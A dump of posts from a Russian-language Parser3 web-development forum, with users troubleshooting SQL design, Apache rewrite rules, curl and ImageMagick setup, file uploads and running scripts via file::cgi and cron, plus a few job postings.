  }{\
    ^if(^connect[$connect_string]{^int:sql{select exists (select * from accessories where id='1')}} eq 1){\
      ^connect[$connect_string]{\
        ^void:sql{UPDATE accessories \
                  SET a$acc.section_id='0'\
                  WHERE id='1'}\
      }\
    }{\
       ^connect[$connect_string]{\
       ^void:sql{insert into accessories (id, a$acc.section_id) values ('1', '0')}\
       }\
    }\
  }\
}\
[/code]\
Осталось определить id последней записи, созданной в основной таблице."
"78152","Откройте для себя http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html, но только не используйте автоинкремент в такой таблице +)\
И http://dev.mysql.com/doc/refman/5.0/en/mysql-insert-id.html\
Это по поводу последнего айди +)"
"78153","Может вы про LAST_INSERT_ID()? С ним я уже разобрался. Код у меня делает примерно тоже самое что on dublicate.\
\
autoincrement в дополнительной таблице отключил, хорошо, что напомнили. \
\
Остальное вроде работает как надо."
"78154","[quote]Пока кончилось тем, что я создал дополнительную таблицу с 40 полями.[/quote]\
\
обычно делают 3 таблицы:\
car (car_id, name, ...)\
accessory (accessory_id, title, ...)\
car_to_accessory (id, car_id, accessory_id)\
\
в car_to_accessory хранятся \"связи\".\
если потом потребуется добавить новую запись в accessory, то просто добавляется одна запись в таблицу accessory, а не делают alter таблицы.\
\
\
подзапросы в данном случае совершенно не нужны (если точнее -- вредны), как и select *."
"78155","[quote]в car_to_accessory хранятся \"связи\".\
если потом потребуется добавить новую запись в accessory, то просто добавляется одна запись в таблицу accessory, а не делают alter таблицы.\
[/quote]\
Связи это какой-то специфичный тип данных?\
Как будет обновляться таблица accessories, если изменяется только таблица car_to_accessory?\
Вспомнил, что у меня есть книги, пошел читать )"
"78157","Добрый день!\
Назрел вопрос: можно ли как-то достоверно выяснить, что письмо, отправленное из mail:send, не было получено?\
Знаю, что можно перехватывать возвращенные письма (при помощи mail:received, например) и [url=\"http://daxa.com.ua/article/num4/\"]анализировать коды ошибок[/url]. Но возвращенные письма приходят не всегда. М.б. кто сталкивался, существуют ли другие, более достоверные способы?\
Спасибо!"
"78158","Лучше не на сервере отлавливать, а добавить\
[code]^mail:send[\
	$.errors-to[tech@domain.com.ru]\
][/code]\
На него будут валится ошибки, любой приличный сервер вернет письмо с ошибкой, а если на нем настроено не отбиваться ошибками, то тут уже ..."
"78159","Сейчас все довольно таки легко получается.\
Имеем две таблицы первая не локализованные значения, вторая локализованные (зависит от языка, текст в общем)\
Связь идет, один ко многим.\
И для получения того же списка новостей идет просто лефт джоин и пару условий по языковому айди.\
И все складывается в одну табличку одним запросом.\
Но у этого способа есть минус это простое и быстрое редактирование кастомных полей, которое сводится к alter table.\
\
Если же перейти к структуре которую предложил Михаил, да собственно я сам к ней не раз уже приходил, то у меня я вижу пару проблем:\
-не получится одним запросом получить список, первый запрос по объектам, второй по связанным полям получается количество запросов к БД 1+Количество элементов на странице\
-при наличии фильтров по дополнительным полям прийдется сначала отфильтровать их, получить список объектов их содержащих без дубликатов, а затем уже получать список самих объектов и их характеристик. А если тут еще будет и сортировка хитрая. Вообще не представляю себе количество и сложность таких запросов.\
\
Может я не правильно понимаю модель работы с такими данными?"
"78160","... но нет никакой сложности получить из m2m-таблиц все что нужно одним запросом (sql-серверы прекрасно справляются с джоинами и дистинктами). Кроме того, Парсер умеет сразу сделать из запроса хеш таблиц по которому удобно делать лукапы при выводе."
"78161","Здравствуйте! Хотел было использовать RewriteMap, чтобы конструкции такого вида:\
[code]RewriteRule ^about/$ /?pgid=1 [QSA,L]\
RewriteRule ^contacts/$ /?pgid=2 [QSA,L]\
RewriteRule ^service/$ /?pgid=3 [QSA,L]\
RewriteRule ^service/firstil/$ /?pgid=4 [QSA,L]\
RewriteRule ^service/polygraphy/$ /?pgid=5 [QSA,L]\
RewriteRule ^service/sites/$ /?pgid=6 [QSA,L]\
RewriteRule ^vacancies/$ /?pgid=7 [QSA,L][/code]\
писать не в .htaccess, а генерировать текстовый файл с ними...\
Но нигде не смог найти нормально разжеванного примера использования. В оф. документации вообще \"пара слов\" только сказана - понятно только про синтаксис самого текстового map-файла. Даже здесь на форуме никто пример не привел в аналогичных темах. Как будто это настолько элементарно и просто. Или может я тупею...\
Приведите пожалуйста рабочий пример .htaccess файла, в котором используется RewriteMap."
"78162","А зачем такие сложности?\
Вот обычный RewriteRule:\
[code]\
RewriteEngine on\
RewriteOptions inherit\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	/index.html?_uri=/$1 [QSA,L]\
[/code]\
а куда и чего уже разбирайте на уровне кода."
"78163","На уровне кода не понимаю как сделать.\
А в [url=\"http://www.parser.ru/forum/?id=77926\"]другой моей теме[/url] так и не объяснили.\
В общем такое ощущение, что это тайные знания и нужно из кожи вылезти вон, чтобы узнать их. %)"
"78164","Мужик, это все просто!\
Ты с паттерном MVC знаком?"
"78165","У вопрошающего есть табличка соответствия идентификаторов страницы и url'а. Нас спрашивают о том как в этой таблице по урлу найти id. Мне кажется, что это делается буквально одним вызовом функции table.locate, но почему это вызывает сложности совсем не понятно. :)"
"78166","но вектор движения явно не в правильном направлении.\
Если страниц всего 7, то явно тут Mode Rewrite лишний. Если же их сейчас 7, а завтра 707, то с table.locate не самое хорошее стредство.\
\
Поэтому я и склоняю его к твоему фреймворку :-)"
"78167","... а будет она в текстовом файлике или в базе данных не так важно. Если речь идет о небольшом сайте или о веб-приложении, то тут, конечно, система маршрутизации PF'а сильно упростит задачу. Но про задачу нам не рассказывают. :)"
"78168","coel, тебя это интересовало?\
\
[code]\
$map[^table::create[pageid	name\
1	About\
2	Contacts\
3	Service\
4	Service firstil\
5	Service polygraphy\
6	Service sites\
7	Vacancies\
404	Page not found]]\
\
	\
	^if(def $form:pageid){\
		$pageid(^form:pageid.int(404))\
	}{\
		$pageid(404)\
	}\
	\
	^if(^map.locate[pageid;$pageid]){\
		Текущая страница: $map.name\
	}{\
		Такой страницы нет.\
	}\
[/code]"
"78169","http://httpd.apache.org/docs/current/rewrite/rewritemap.html\
\
Но важно, что:\
[quote]Per-directory and .htaccess context\
\
The RewriteMap directive may not be used in <Directory> sections or .htaccess files. You must declare the map in server or virtualhost context. You may use the map, once created, in your RewriteRule and RewriteCond directives in those scopes. You just can't declare it in those scopes.[/quote]\
\
Соответственно, решение не гибкое и либо набор директив в htaccess, либо своё решение с разбором."
"78171","Таблица соответствий берется из БД. При этом варианте вполне понятно становится. Попробую, спасибо!"
"78173","Хотя еще вопрос есть. Как у вас связано это:\
[code]RewriteRule	^(.*)$	/index.html?_uri=/$1 [QSA,L][/code]\
и это:\
[code]^if(def $form:pageid){\
	$pageid(^form:pageid.int(404))\
}{\
	$pageid(404)\
}\
\
^if(^map.locate[pageid;$pageid]){\
	Текущая страница: $map.name\
}{\
	Такой страницы нет.\
}[/code]\
?\
Должно где-то использоваться $form:_uri"
"78174","[code]\
$sitePages[^table::create[pageID	uri\
1	about\
2	contacts\
3	service\
4	service/firstil\
5	service/polygraphy\
6	service/sites\
7	vacancies\
]]\
\
$pageID[]\
^if(^sitePages.locate[uri;^form:_uri.trim[/;both]]){\
  $pageID[$sitePages.pageID]\
}\
[/code]\
\
Надеюсь, что теперь идея понятна? :)"
"78175","Конечно не связано, пример под твой RewriteRule.\
Под\
RewriteRule	^(.*)$	/index.html?_uri=/$1 [QSA,L]\
простейшая реализация была бы такой:\
[code]\
$map[^table::create{pageid	name	uri\
0	Index	/\
1	About	/about/\
2	Contacts	/contacts/\
3	Service	/service/\
4	Service firstil	/service/firstil/\
5	Service polygraphy	/service/polygraphy/\
6	Service sites	/service/sites/\
7	Vacancies	/vacancies/\
404	Page not found	/error/}]\
\
	^if(def $form:_uri){\
		$search[^form:_uri.match[(\\w+\\/){1,}][ig']]\
		$page_uri[/$search.match]\
	}{\
		$page_uri[/error/]\
	}\
	\
	^if(^map.locate[uri;$page_uri]){\
		Текущая страница: $map.name\
	}{\
		Такой страницы нет.\
	}\
\
[/code]"
"78176","... а зачем пустой $pageID[]?"
"78177","На самом деле можно написать и так:\
[code]\
  $pageID[^if(^sitePages.locate[uri;^form:_uri.trim[/;both]]){$sitePages.pageID}]\
[/code]"
"78179","Нифига ж себе. Так это неофициальный хак или вроде того :)"
"78181","в рекламное агентство нужен программист на парсер на фултайм\
интересные проекты, дружный коллектив, офис рядом с м. Сокольники\
отправляйте рассказ о себе на frolov@bfg.su"
"78182","Имеется таблица вида [url=\"http://zartus.dyndns.org/parser/index2.html\"]My Webpage[/url]\
\
Есть ли возможность средствами парсера при нажатии на поле таблицы, данном случае id, выполнить переход на другую страницу с передачей номера id?\
На другой странице по id будет формироваться таблица из базы mysql, что-то наподобие [url=\"http://zartus.dyndns.org/parser/showcar.html\"]My Webpage[/url]."
"78183","Т.е. если в коде поставить тег «a» со ссылкой на другую страничку (в ссылке можно указать id), то браузер ее прекрасно поймет."
"78184","Код\
[code]@main[]\
 ^curl:session{ \
   ^curl:options[ \
      $.timeout(10) \
      $.library[/usr/lib/libcurl.so.4.2.0]\
   ] \
	^curl:version[] \
}[/code]\
\
Ошибка\
[code]failed to load curl library libcurl.so: libcurl.so: cannot open shared object file: No such file or directory[/code]\
\
Файл библиотеки на сервере есть. Но в чем может быть проблема не понимаю. Это мой VPS сервер, поэтому настройки могу сам поменять, если подскажите, что стоит поменять.\
\
Заранее благодарю. )))"
"78185","Как избежать ошибки превышения лимита редиректов, если требуется оставить эти 6 правил перед общим (последним) правилом?\
[code]RewriteRule ^projects/logos-firstil/$ /projects/?section=1 [QSA,L]\
RewriteRule ^projects/logos-firstil/(\\d+)/$ /?section=1&pid=$1 [QSA,L]\
RewriteRule ^projects/sites/$ /projects/?section=2 [QSA,L]\
RewriteRule ^projects/sites/(\\d+)/$ /?section=2&pid=$1 [QSA,L]\
RewriteRule ^projects/polygraphy/$ /projects/?section=3 [QSA,L]\
RewriteRule ^projects/polygraphy/(\\d+)/$ /?section=3&pid=$1 [QSA,L]\
\
RewriteRule ^(.+)$ /?q=/$1 [QSA,L][/code]"
"78188","Вроде как удалось решить таким образом. Пока работает.\
[code]RewriteRule ^(?!projects)(.*)$ /?q=/$1 [QSA,L]\
\
RewriteRule ^projects/logos-firstil/$ /projects/?section=1 [QSA,L]\
RewriteRule ^projects/logos-firstil/(\\d+)/$ /?section=1&pid=$1 [QSA,L]\
RewriteRule ^projects/sites/$ /projects/?section=2 [QSA,L]\
RewriteRule ^projects/sites/(\\d+)/$ /?section=2&pid=$1 [QSA,L]\
RewriteRule ^projects/polygraphy/$ /projects/?section=3 [QSA,L]\
RewriteRule ^projects/polygraphy/(\\d+)/$ /?section=3&pid=$1 [QSA,L][/code]"
"78189","Зачем вам эта куча реврайтов? Почему нельзя сделать один и разбирать парсером запрос? Вам же все объяснили"
"78190","Библиотека curl грузится при ^curl:session, поэтому ^curl:options должны быть раньше, раз у вас не дефолтное имя библиотеки."
"78191","Там придется многое переделывать, если еще и эти 6 правил убирать, т.к. механизм используется несколько иной, чем тот, который остальные страницы генерит. Так что пока решил сделать \"пол работы\"."
"78192","http://www.parser.ru/docs/lang/curloptions.htm\
\
[quot]\"...[b]^curl:options[опции][/b]\
Метод может быть вызван только внутри сессии. Все последу...\"[/quot]"
"78193","Из примера взято, немного переделано:\
[code]<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">\
<html>\
<body>\
$id[^file::load[text;id.txt]]\
$id.text\
^if($form:files.picture){ \
   <p>Загружены изображения (^form:files.picture._count[]): \
   ^form:files.picture.foreach[sNum;fValue]{ \
      $fValue.name \
      ^fValue.save[binary;upload/pictures/$id.text_${sNum}.^file:justext[$fValue.name]] \
   }[, ] \
   </p> \
} \
\
<form method=\"POST\" enctype=\"multipart/form-data\">\
<p><input type=\"file\" name=\"picture\" required multiple\
      title=\"Загрузите одну или несколько фотографий\"></p>\
   <p><input type=\"submit\" value=\"Отправить\"></p>\
</form>\
</body>\
</html>\
[/code]\
В строке $id.text_${sNum} символ \"_\" вызывает ошибку \
makepictable.html(10:53): syntax error, unexpected '{', expecting STRING\
\
Хочу получить название файлов в виде n_1.jpg ,n_2.jpg ... Например 34_2.jpg\
Что не так с символом подчеркивания? Другие символы не вызывают ошибку и нормально добавляются в строку."
"78195","Как указано http://apollon-avto.com/index2.html  делаю:\
[code]^use[ImageMagick.p]\
$oImg[^ImageMagick::create[\
#	Путь, где находится convert из пакета ImageMagick\
	[b]$.sScriptPath[/usr/bin][/b]\
#	Имя самого файла\
	$.sScriptName[convert]\
       ]\
[/code]\
ImageMagic установлен на сервере, но файлы не находятся\
create' Script file '/usr/bin/convert' not found [Img] [uri=/makepictable.html, method=GET, cl=0]\
\
Что не так с путями? Другие скрипты, не parser, которые используют  ImageMagic, работают нормально."
"78196","Не хватает времени доработать проект. Передам его толковому специалисту.\
\
Серверная часть:\
Parser + MySQL (+ немного XSLT)\
\
Клиентская часть:\
HTML + CSS + JS + jQuery + ExtJS\
\
Проект:\
Сайт недвижимости. Пользователи авторизуются, добавляют недвижимость. Пользователей добавляет админ.\
\
+ Надо будет сделать дизайн.\
\
Что сделано:\
На ExtJS сделана бОльшая часть таблиц и форм, которые видит админ и авторизированный риельтор. Процент готовности:70%.\
Общая часть (для не авторизированных) почти не сделана, стоит просто cms. Вернее просто модули надо некоторые подправить для правильного вывода списков недвижимости, поиска и т.д., хотя их можно написать и с нуля, так как этот момент сложности не представляет.\
\
На все вопросы по тому, как всё организовано сейчас, я отвечу."
"78197","... т.е. по правилам Парсера. Посмотрите как путь задан в примере http://www.kulikoff.net/parser3/img/\
\
Чтобы не возиться с путями я делаю так. Делаю вне веб-пространства папку bin и кладу туда файлики convert, identify и пр. следующего содержания:\
[code]\
#!/bin/sh\
convert \"$@\"\
[/code]\
Устанавливаю ему права на исполнение, а из Парсера путь к нему будет постоянный: /../bin/convert. После этого уже не важно в какой папке лежит бинарник, который мне нужно вызвать, на сервере."
"78198","Спасибо. После некоторых мучений получилось сделать так:\
Создал указанный файлик в ~/public_html/cgi-bin/\
Вызывается как /cgi-bin/convert.\
Пробовал сделать симлинк, но там конфликт с владельцем файла. Это на хостере.\
\
На домашнем сервере не пока не получилось, ну и ладно. \
Script file '/cgi-bin/convert' not found.\
\
PS. Хотя ../../cgi-bin находится (папка выше на 2 уровня), но картинка не обрабатывается, ответ функции  - \"1\" \
При вызове из браузера http://localhost/cgi-bin/convert апач ругается:\
suexec policy violation: see suexec log for more details\
Premature end of script headers: convert.\
Возможно это как то связано с SuexecUserGroup parser parser\
Теперь понятно из suexec.log:\
 uid: (1003/parser) gid: (1003/parser) cmd: convert\
target uid/gid (1003/1003) mismatch with directory (0/0) or program (1003/1003)"
"78199","Сделайте папку bin на одном уровне с той папкой, где у вас лежит корневой index.html, но ни в коем случае не в ней и не в cgi-bin. Вызывать convert через веб-сервер смысла нет — вы совершенно справедливо получаете ругань от суэкзека. Поэтому изучите как работают пути в парсере и сделайте безопасную структуру папок в своем проекте: все к чему клиент напрямую не обращается из интернета (классы, бинарники, скрипты и пр.) должно быть вынесено из веб-пространства.\
\
Подробнее про пути: http://www.parser.ru/docs/lang/app1.htm"
"78200","…выдает ошибку\
\
всего лишь нужно транслировать с PHP \
if ($apple == 2 && $banana == 1)"
"78201","разобрался, загнал переменные в хэши\
\
а с чем ошибка-то связана? Это же поиск не по тексту, а по документации к языку, тут &&, eq, ==, ++ и т.п. запросы вполне могут быть"
"78207","Подскажите, пожалуйста, уровень оплаты."
"78208","Уровень оплаты зависит от Вашего уровня. Если есть интерес - отправляйте в любом виде информацию о себе и ссылки на реализованные проекты на почту frolov@bfg.su"
"78209","Есть ли в Парсере аналог PHP-шного autoload?\
\
Ну или, может быть есть планы по его добавлению? ;)"
"78210","Да, есть, нужно иметь в проекте метод\
\
@autouse[classname]"
"78211","Цитата:\
[quote]Если происходит обращение к неизвестному классу, вызывается метод autouse класса MAIN, и имя класса передается единственным параметром этому методу.   [3.4.0] [/quote]"
"78212","О_о А зачем два раза в коде оператор ^connect[\
Он же вроде как медленный.\
Хоть парсер и кэширует повторные соединения, но все же это плохая практика использовать множество connect."
"78213","попробуйте этот http://spacioclub.ru/libparser3mysql.zip\
Это с сайта что хостился когда то на русониксе (тоже VDS)\
Авось подойдет. \
PS Не забудьте раззиповать =)\
Удачи"
"78214","Поделитесь пожалуйста потом классом ulogin с общественностью.\
спасибо"
"78215","Бывает что $env:REMOTE_ADDR не дает правильный IP\
Я использую \
\
[code]@GetIp[]\
$result[^if(def $env:HTTP_X_REAL_IP){$env:HTTP_X_REAL_IP}{$env:REMOTE_ADDR}][/code]"
"78216","возможно ли на parser написать серверную часть WebSocket приложения?"
"78217","Кеширование означает, что Парсер не разрывает соединение с сервером при выходе из connect. Новый вызов оператора приводит лишь к простейшей операции получения ссылки из пула соединений — работает это крайне быстро. Если вы посмотрите на код sql-классов (и Мишиных и моих), то там этот факт используется для того чтобы вообще не делать явных вызовов connect'а и никаких проблем с производительностью при этом нет."
"78219","Для вебсокетов желательно иметь постоянно работающий сервер (демон), который умеет обслуживать tcp-соединения. Пасрер идеологически такого «не умеет». Поэтому лучше взять питоновский twisted/tornado или расширения для node.js и сделать этот кусок системы на нем. Другое дело, что вебсокеты нужны, когда вы имеете серьезные проблемы с производительностью и и уперлись в скорость сети, но таких ситуаций в реальной жизни не так и много, поэтому специализированное решение на другом языке не выглядит чем-то странным."
"78221","Задача: Офис, parser, работники, я )))\
Нужна эффективная работа. Я так понимаю идеальный вариант:\
Сервер в офисе или удаленно (есть VPS linux). Нужен инструмент, чтобы я видел что делали пользователи с файлами, как их редактировали... словом контроль версий файлов.\
Хочется, так же чтобы и файлы картинок тоже хранились как в контроле версий.\
Хочется, чтобы при мимолетном изменении файла, чтоб сотрудники не нажимали 150 кнопок и не открывали 30 окон, и не тратили 20 минут, чтобы потом этот проект копировался на сервер, чтоб посмотреть лучше будет шрифт на 1px меньше или хуже... ))))\
В общем, нужна ЭФФЕКТИВНАЯ рабочая среда!!!\
\
Я так полагаю это GitHub + Eclipse. Возможно что-то другое. Нужна четкая консультация! Желательно с последующей настройкой.\
\
В основном работаем в Parser+JS+CSS+HTML и т.д., если это важно.\
\
Благодарю. Лучше связаться по скайпу. Он такой-же как ник на форуме."
"78222","Если да, то надо отталкиваться от него и смотреть в каких местах «жмут» текущие инструменты. Если процесса нет, вы не используете системы контроля версий и проектного менеджмента, то имеет смысл начать внедрять все это в работу. Если, конечно, текущая ситуация вас не устраивает.\
\
Если ничего нет, то можно завести аккаунт на https://bitbucket.org или https://github.com/ и воспользоваться инфраструктурой (репозитории, задачи, вики, ревью кода и пр.), которую они предлагают. В битбакете можно даже на бесплатной версии получить приватные репозитории, если команда небольшая. Средств для интеграции с IDE для обоих сервисов достаточно много. \
\
Если нужно что-то свое, то можно взять Redmine (http://www.redmine.org/) и на его базе построить еще более гибкую систему для разработки. Но начинать стоит все-таки с определения процесса разработки. :)"
"78223","Сейчас не используется ничего!\
\
Задача не составлять график работы или диаграмму Ганта, а работа с файлами как с FTP или с локальным диском. Единственное, чтоб централизовано можно было откатить изменения в файлах, а так же посмотреть когда и что менялось. Чтоб сразу записывалось и можно было проверить сайт в работе. Надо чтоб работник не задумываясь в любом текстовом редакторе нажал кнопку \"сохранить\", а всё что там дальше, чтоб это сделала автоматика! Чтоб он не сидел и не делал сборку каждые 10 минут, чтоб проверить заработало или нет.\
\
И требуется меня научить этим пользоваться. Олег, Вы вроде профессионал в Parser и видимо по GitHub. Можете со мной связаться по скайпу? Мне нужно этому быстро научиться и записать инструкции своим работникам! Буквально сегодня-завтра. Мой скайп vruzin"
"78224","Кто-нибудь использовал парсер на сабже? \
Вообще есть какие-нибудь отзывы кроме положительных?"
"78225","Есть проект на парсере, решили сменить дизайн, нужно сверстать и интегрировать верстку."
"78226","Я использовал. Сломался потом - запретили использовать свой обработчик для файлов - только из списка. Описал в [url=\"http://www.parser.ru/forum/?id=77258\"]http://www.parser.ru/forum/?id=77258[/url]"
"78227","Столкнулся с неотлавливаемой проблемкой - получением JSON через CURL (https)\
\
В цикле пробегаюсь по списку url-ов, запрашиваю и разбираю потом. Иногда, совершенно хаотично, возникает такой незабавный глюк - получаю тело предыдущего запроса, то есть я получил ответ по адресу1, всё хорошо разобралось, беру адрес2 - и те же данные, а они должны быть не только другие, но и другого порядка, в результате пришлось писать костыль, но это неправильно. \
\
Код в цикле простой донельзя:\
\
[code]\
	^try{\
		$file[^curl:load[\
		$.url[$url_]\
		$.useragent[Mozilla/5.0 (Windows NT 6.1^; WOW64^; rv:17.0) Gecko/17.0 Firefox/17.0]\
		$.timeout($http_timeout)\
		$.ssl_verifypeer(0)\
		]\
		]	\
\
	}{\
	        ^rem{что бы не случилось -  будет \"504 ошибка\"}\
               	$timeout_reached(1)\
		$exception.handled(true)\
	}\
	^if($file.status == 200){\
... тут код обработчика ...\
}{\
\
}\
[/code]\
\
Что тут может быть не так? Может ли не отловиться некая ошибка, но с кодом 200?"
"78228","дык у вас логическая ошибка: если случается exception, то в $file остаётся предыдущее значение и код \"обработчика\" работает с ним.\
\
решение: внести код обработчика в try или вначале \"обнулять\" $file и изменить проверку ^if(def $file && $file.status == 200)"
"78229","[code]^eval(^tElements.menu{^stats.getVisits[/projects/^getTag[folder;$tElements.tags]/$tElements.id/;1]}[+])[/code]\
\
Выдает ошибку:\
[quote]В работе Parser произошла ошибка:\
invalid number (double)\
Ошибку вызвал этот фрагмент:\
15+13+11+8+12+10+9+0+10+11+5+6+5+7+5+4+4+6+6+6+7+16+8+8+13+7+4+5+7+5+8+9+4+5+6+13+6+5+0+6+6+7+6+5+4+6+4+0+6+5+6+6+7+4+0+6+0[/quote]\
\
Как сложить эти числа?"
"78230","[code]$sum(0)\
^t.menu{\
    ^sum.inc(^f($t.id))\
}\
^$sum = $sum\
[/code]"
"78231","Добрый день.\
Есть форма, с которой пользователь отправляет файл на эту же страницу.\
Если при приеме параметров сделать вызов скрипта через file::cgi/exec, то получаю ошибку: post_size(0) != content_length(...)\
\
Менял метод POST на GET, но ошибка та же.\
Если при получении данных с формы сделать редирект $response:location на эту же страницу и вызвать скрипт, то все работает.\
\
Почему может возникать ошибка при запуске скрипта при приеме файла из формы?"
"78232","Переписывал и промахнулся в блоках... Спасибо!"
"78233","Есть класс валидации, который пробегается по $form на предмет соответствия данных определенным правилам и выполняет некоторые операции надо этими данными.\
Хочется иметь возможность изменять содержимое $form, чтобы в дальнейшем работать с измененными полямя как обычно - $form:поле."
"78234","... поменяйте все, что нужно и передайте функции, которая работает с данными формы. Делать класс form изменяемым, надеюсь, никто не будет. :)"
"78235","Где можно взять Parser 3.1.4 скомпилированный под 64 разрядную ubuntu или debian?"
"78236","Более ранние версии вполне можно использовать как есть, поскольку 64-битные системы умеют выполнять 32-битные программы. Если есть возможность, то лучше перейти на современные версии, поскольку 3.1.4 вышла 8 лет назад и сейчас, наверняка, возникнут сложности при сборке ее из исходников."
"78237","Спасибо, но старый не хочет работать, а с новым есть проблемы в самом скрипте сайта."
"78238","Код приведите. Пока ничего не понятно. Процессы передачи файла пользователем через форму на сервер и file::exec ничего между собой общего не имеют. При GET файл и вовсе передаваться не будет"
"78239","Работает:\
[code]@main[]\
	$sFileName[1.txt]\
	$sUrl[http://$env:SERVER_NAME^if(def $env:SERVER_PORT && $env:SERVER_PORT ne 80){:$env:SERVER_PORT}]\
	$sPath[/data/test/]\
	$iStep(^form:step.int(0))\
	^switch($iStep){\
		^case(0){\
			<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" class=\"report\">\
				<input type=\"hidden\" name=\"step\" value=\"1\">\
				<input type=\"file\" name=\"data\">\
				<input type=\"submit\" value=\"Закачать\" class=\"button\">\
			</form>\
		}\
		^case(1){\
			^if(def $form:data){\
				^form:data.save[binary;$sFileName]\
				$response:location[${sUrl}${sPath}?step=2]\
			}\
		}\
		^case(2){\
			$fFile[^file::cgi[/data/sh/test.sh;;${sPath}$sFileName]]\
			<div class=\"report\">Результат: \"^taint[as-is][$fFile.text]\"</div>\
			^if(-f $sFileName){\
				^file:delete[$sFileName]\
			}\
		}\
	}[/code]\
Не работает:\
[code]@main[]\
	$sFileName[1.txt]\
	$sUrl[http://$env:SERVER_NAME^if(def $env:SERVER_PORT && $env:SERVER_PORT ne 80){:$env:SERVER_PORT}]\
	$sPath[/data/test/]\
	$iStep(^form:step.int(0))\
	^switch($iStep){\
		^case(0){\
			<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" class=\"report\">\
				<input type=\"hidden\" name=\"step\" value=\"1\">\
				<input type=\"file\" name=\"data\">\
				<input type=\"submit\" value=\"Закачать\" class=\"button\">\
			</form>\
		}\
		^case(1){\
			^if(def $form:data){\
				^form:data.save[binary;$sFileName]\
				$fFile[^file::cgi[/data/sh/test.sh;;${sPath}$sFileName]]\
				<div class=\"report\">Результат: \"^taint[as-is][$fFile.text]\"</div>\
				^if(-f $sFileName){\
					^file:delete[$sFileName]\
				}\
			}\
		}\
	}[/code]"
"78240","Вы бы ссылку, что ли, сбросили бы - что за проект?"
"78241","Старый заработал после установки пакета совместимости для запуска 32 разрядных приложений в 64 разрядной системе."
"78244","я не очень понимаю в какой момент у вас происходит ошибка.\
\
предполагаю, что при вызове file::cgi и что в запускаемом скрипте опять вызывается парсер.\
\
в общем покажите содержимое test.sh и заодно сообщите версию парсера и OS.\
\
возможно вы упустили [url=http://www.parser.ru/docs/lang/filecgiexec.htm]этот момент[/url] в документации:\
[quote]\
Внимание: запускаемому скрипту также передаются все переменные окружения, которые были выставленные http сервером при запуске Parser.\
[/quote]"
"78245","Fedora release 14\
Linux 2.6.35.6-48.fc14.x86_64\
\
Parser/3.4.2 (compiled on x86_64-unknown-linux-gnu)\
\
\
[code]#!/bin/sh\
\
export PARSER_VERSION=\"\";\
cd /home/.../корень сайта/\
/home/.../корень сайта/cgi-bin/parser3.cgi /home/.../корень сайта/data/script/script.html \"$1\"[/code]"
"78246","1. причину ошибки я вам уже сообщил: вызываемому скрипту, а потом и запускаемому из него парсеру передаются все переменные окружения, которые были выставлены первому обработчику (парсеру) веб-сервером. в этих переменных окружения есть content-length. однако вы не передали сами данные (читайте тамже про $.stdin), поэтому возникает ошибка несоответствия указанной длины запроса с реальной длиной запроса.\
\
2. я не вижу в вашем коде смысла. почему нельзя сделать всё без запуска ещё одного парсера? в чем прикол?"
"78247","Я привел 2 примера, в одном из них запуск скрипта работает, потому что нет отправки файла через форму.\
Почему без отправки файла не надо передавать content-length, а при отправке надо, мне не понятно.\
\
Вся затея сводится к тому, что пользователь закачивает файл, который обрабатывается скриптом.\
Обработка нужна сразу, а не по крону, поэтому идет вызов sh.\
\
На текущий момент оставил рабочий вариант без отправки файла, работает, как надо.\
\
[b]В чем принципиальное отличие запуска скрипта с одной и той же страницы с отправкой файла и без?[/b]"
"78248","Так вам же Миша объяснил. В работающем варианте при вызове \"вложенного\" скрипта назовем его так, запрос (GET) выглядит как /?step=2 при этом у него нет Content-Length, т.к. нет тела запроса. В неработающем у вам происходит POST формы - Content-Length ненулевой - он передается через заголовки вложенному скрипту, а само body - нет.\
\
Не уверен, но наверно если в sh обнулить content-length будет работать"
"78249","Можно же проверку сделать прям из кода, без вызова exec."
"78250","Есть парсерный скрипт /data/script/script.html для обработки данных.\
Каким образом можно его запустить с параметром без использования sh?"
"78251","параметры передавать в те функции, которые в нем описаны"
"78252","[code]^use[/data/script/script.html]\
^process{^^main[123]}[/code]\
Не совсем понял насчет использования ^process{} в данном случае."
"78253","Заменяете в вашем script.html @main[]\
На @testFile[filename;param1]\
Делаете\
^use[ваш файлик]\
^testFile[$sFileName]\
Ну и в принципе все), простейшая логика и это можно кстати делать на step=1\
И еще момент по поводу определения шага, ниже ИМХО более правильное использование switch\
[code]^switch($form:step){\
	^case(1){\
		....\
	}\
	^case[DEFAULT]{\
		<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" class=\"report\">\
			<input type=\"hidden\" name=\"step\" value=\"1\">\
			<input type=\"file\" name=\"data\">\
			<input type=\"submit\" value=\"Закачать\" class=\"button\">\
		</form>\
	}\
\
}[/code]"
"78254","Скрипт также должен иметь возможность запускаться по крону."
"78255","Про ^use[] вам написали выше, для процесс делаете file::load потом процессите. use предпочтительнее, я просто привел два возможных способа"
"78257","Я так понимаю, надо:\
[code]$fFile[^file::load[text;/data/script/script.html]]\
^process{^taint[as-is][$fFile.text]}[/code]\
Так?"
"78258","Зачем использовать процесс?\
Какой в этом профит?"
"78259","1. перемещаете ваш script.html туда, где у вас лежат классы и переименовываете его в script.p\
\
2. переименовываете в нём @main[] на @run[]\
\
3. создаёте новый script.html с о следующим кодом:\
[code]\
@USE\
script.p\
\
@main[]\
^run[]\
[/code]\
\
4. в вашем проблемном файле где надо пишите:\
[code]\
^use[script.p]\
^run[]\
[/code]"
"78260","Этот способ я использую в некоторых случаях, но подключаемые файлы не запускаются кроном.\
\
Попробую поэкспериментировать, спасибо за советы."
"78261","тогда возможно стоит разобраться с добавлением парсерных скриптов в cron таким образом, чтобы классы подключались без проблем.\
\
в общем вы всё делаете правильно:\
cd document_root\
path/to/parser3.cgi path_to/script.html\
\
в этом случае конфигурационный auto.p, который лежит рядом с parser3.cgi должен обрабатываться. а в нём (в @auto[]) должен определяться $CLASS_PATH.\
если это так, то в script.html классы должны корректно подключаться по путям из $CLASS_PATH."
"78262","По крону все работает отлично.\
\
У меня были подозрения, что файл, подключаемый через use, может нарушить работу текущего скрипта, т.к. его методы и переменные переопределят уже существующие.\
\
Также есть проблема с обработкой большого объема данных в течение длительного времени.\
Если это делать в одном скрипте, то процесс в какой-то момент зависает, дальше ничего не обрабатывается.\
